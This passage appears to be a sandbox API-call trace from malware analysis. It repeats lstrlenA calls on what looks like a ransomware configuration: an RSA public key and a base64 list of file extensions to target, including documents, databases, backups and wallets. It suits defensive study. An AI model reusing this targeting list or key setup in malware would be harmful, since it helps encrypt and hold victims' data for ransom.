CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm